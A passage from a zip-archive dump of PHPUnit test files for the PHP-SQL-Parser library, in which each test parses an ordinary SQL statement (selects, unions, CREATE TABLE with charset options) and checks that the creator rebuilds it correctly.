 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class Issue_Git10Test extends \PHPSQLParser\Test\AbstractTestCase {
	
	public function testIssueGit10() {
		$query = "SELECT
REPLACE( f.web_program,'\n', '' ) AS web_program,
id AS change_id
FROM
file f
HAVING
change_id > :change_id";
		
		$p = $this->parser->parse ( $query );
		$created = $this->creator->create ( $p );
		$expected = getExpectedValue ( dirname ( __FILE__ ), 'issue_git10.sql', false );
		$this->assertSame ( $expected, $created, 'alias references should work in HAVING clauses' );
	}
}

?>
PK     \=    D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue265Test.phpnu [        <?php
/**
 * issue265.php
 *
 * Test case for PHPSQLCreator.
 */

namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class Issue265Test extends \PHPUnit\Framework\TestCase
{
    /*
     * https://github.com/greenlion/PHP-SQL-Parser/issues/265
     * Row CHARACTER SET in CREATE TABLE breaks builder
     */
    public function testIssue265()
    {
        $sql = "CREATE TABLE IF NOT EXISTS example (`type` varchar (255) CHARACTER SET utf8 NOT NULL) DEFAULT CHARACTER SET utf8";

        $parser  = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);

        $this->assertEquals($creator->created, $sql, 'CHARACTER SET utf8');
    }
}
PK     \=4[	  [	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue117Test.phpnu [        <?php
/**
 * issue117.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue117Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue117() {
        $sql = "(SELECT x FROM table) ORDER BY x";
        $parser = new PHPSQLParser();
        $p = $parser->parse($sql);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue117.sql', false);
        $this->assertSame($expected, $created, 'parentheses on the first position of statement');

    }
}

PK     \4oT	  T	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue141Test.phpnu [        <?php
/**
 * issue141.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue141Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue141() {
        $query = "SELECT f FROM t ORDER BY (f-0.0)";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue141.sql', false);
        $this->assertSame($expected, $created, 'bracket expressions within order-by');

    }
}

PK     \    D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue256Test.phpnu [        <?php

namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

/**
 * https://github.com/greenlion/PHP-SQL-Parser/issues/256
 */
class Issue256Test extends \PHPUnit\Framework\TestCase {

	protected function _test( $sql, $message ) {
		$parser = new PHPSQLParser();
		$parser->parse( $sql );
		$creator = new PHPSQLCreator();
		$created = $creator->create( $parser->parsed );
		$this->assertSame( $sql, $created, $message );
	}

	public function testIssue256_create_table_charset_collate() {
		$sql = "CREATE TABLE IF NOT EXISTS wp_feedback_responses (id bigint NOT NULL AUTO_INCREMENT, response_id varchar (50) NOT NULL, PRIMARY KEY (id)) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci";
		$this->_test( $sql, '' );
	}

	public function testIssue256_create_table_just_collate() {
		$sql = "CREATE TABLE IF NOT EXISTS wp_feedback_responses (id bigint NOT NULL AUTO_INCREMENT, response_id varchar (50) NOT NULL, PRIMARY KEY (id)) COLLATE utf8mb4_unicode_ci";
		$this->_test( $sql, '' );
	}
}PK     \ug
  
  B  vendor/greenlion/php-sql-parser/tests/cases/creator/magnusTest.phpnu [        <?php
/**
 * magnus.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class magnusTest extends \PHPUnit\Framework\TestCase {
	
    public function testMagnus() {
        $sql = "SELECT
         u.`id` AS userid,
        u.`user` AS username,
         u.`firstname`,
        u.`lastname`,
         u.`email`,
        CONCAT(19, lastname, 2013) AS test
         FROM
        `user` u
         ORDER BY
         u.`user` DESC";

        $parser = new PHPSQLParser();
        $parsed = $parser->parse($sql);
        $creator = new PHPSQLCreator();
        $created = $creator->create($parsed);
        $expected = getExpectedValue(dirname(__FILE__), 'magnus.sql', false);
        $this->assertSame($expected, $created, 'Aliases for functions.');

    }
}

PK     \3	  3	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue102Test.phpnu [        <?php
/**
 * issue102.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue102Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue102() {
        $sql = "SELECT IF(f = 0 || f = 1, 1, 0) FROM tbl";
        $parser = new PHPSQLParser($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue102.sql', false);
        $this->assertSame($expected, $created, 'pipes as OR');

    }
}

PK     \cJ	  J	  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue79Test.phpnu [        <?php
/**
 * issue79.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue79Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue79() {
        $sql = "SELECT * FROM `users` WHERE id_user=@ID_USER";
        $parser = new PHPSQLParser($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue79a.sql', false);
        $this->assertSame($expected, $created, 'User variable within WHERE clause');

    }
}

PK     \EkM\	  \	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue123Test.phpnu [        <?php
/**
 * issue123.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue123Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue123() {
        $query = "CREATE TABLE t1 (c1 CHAR(3),c2 CHAR(3),KEY(c1))";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue123.sql', false);
        $this->assertSame($expected, $created, 'create table with key column');

    }
}

PK     \$  $  A  vendor/greenlion/php-sql-parser/tests/cases/creator/unionTest.phpnu [        <?php
/**
 * unionTest.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    George Schneeloch <george_schneeloch@hms.harvard.edu>
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;
use Analog\Analog;

class UnionTest extends \PHPUnit\Framework\TestCase {

    public function testUnion1() {
        $parser = new PHPSQLParser();

        $sql = 'SELECT colA From test a
        union
        SELECT colB from test 
        as b';
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $expected = getExpectedValue(dirname(__FILE__), 'union1.sql', false);
        $this->assertEquals($expected, $creator->created, 'simple union');
    }
    
    public function testUnion2() {
        // TODO: the order-by clause has not been parsed
        $parser = new PHPSQLParser();
        $sql = '(SELECT colA From test a)
                union all
                (SELECT colB from test b) order by 1';
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $expected = getExpectedValue(dirname(__FILE__), 'union2.sql', false);
        $this->assertEquals($expected, $creator->created, 'mysql union with order-by');
    }
    public function testUnion3() {
        $sql = "SELECT x FROM ((SELECT y FROM  z  WHERE (y > 2) ) UNION ALL (SELECT a FROM z WHERE (y < 2))) as f ";
        $parser = new PHPSQLParser();
	$creator = new PHPSQLCreator();
        $parsed = $parser->parse($sql);
	$created = $creator->create($parsed);
        $expected = getExpectedValue(dirname(__FILE__), 'union3.sql', false);
        $this->assertEquals($expected, $created, 'complicated mysql union');
    }
}
?>
PK     \@4	  4	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue110Test.phpnu [        <?php
/**
 * issue110.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue110Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue110() {
        $sql = 'SELECT DISTINCT a FROM b';
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue110.sql', false);
        $this->assertSame($expected, $created, 'simple select with distinct option');

    }
}

PK     \9)6	  6	  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue98Test.phpnu [        <?php
/**
 * issue98.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue98Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue98() {
        $sql = 'SELECT mn AS `next_month` FROM DateAndTime `dt`';
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue98.sql', false);
        $this->assertSame($expected, $created, 'alias with quotes');

    }
}

PK     \4x    K  vendor/greenlion/php-sql-parser/tests/cases/creator/orderByPositionTest.phpnu [        <?php

/**
 * Test the support for positions in ORDER BY expressions.
 */

namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class OrderByPositionTest extends \PHPSQLParser\Test\AbstractTestCase {
    public function testOrderByPosition() {
        $query = "SELECT c1, c2 FROM t ORDER BY 1";

        $parsed = $this->parser->parse($query);
        $created = $this->creator->create($parsed);
        $expected = getExpectedValue(dirname(__FILE__), 'orderbyposition.sql', false);
        $this->assertEquals($expected, $created, 'creating ORDER BY with positions is not supported');
    }
}PK     \D    D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue252Test.phpnu [        <?php
namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

/**
 * https://github.com/greenlion/PHP-SQL-Parser/issues/252
 */
class Issue252Test extends \PHPUnit\Framework\TestCase {

	protected function _test( $sql, $message ) {
		$parser = new PHPSQLParser();
		$parser->parse( $sql );
		$creator = new PHPSQLCreator();
		$created = $creator->create( $parser->parsed );
		$this->assertSame( $sql, $created, $message );
	}

	public function testIssue252_Bool() {
		$sql    = "CREATE TABLE IF NOT EXISTS wp_feedback_responses (id bigint NOT NULL AUTO_INCREMENT, response_id varchar (50) NOT NULL, response_public boolean NOT NULL, response_public_bc bool NOT NULL, PRIMARY KEY (id))";
		$this->_test( $sql, '');
	}
}
PK     \>t5\	  \	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue112Test.phpnu [        <?php
/**
 * issue112.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
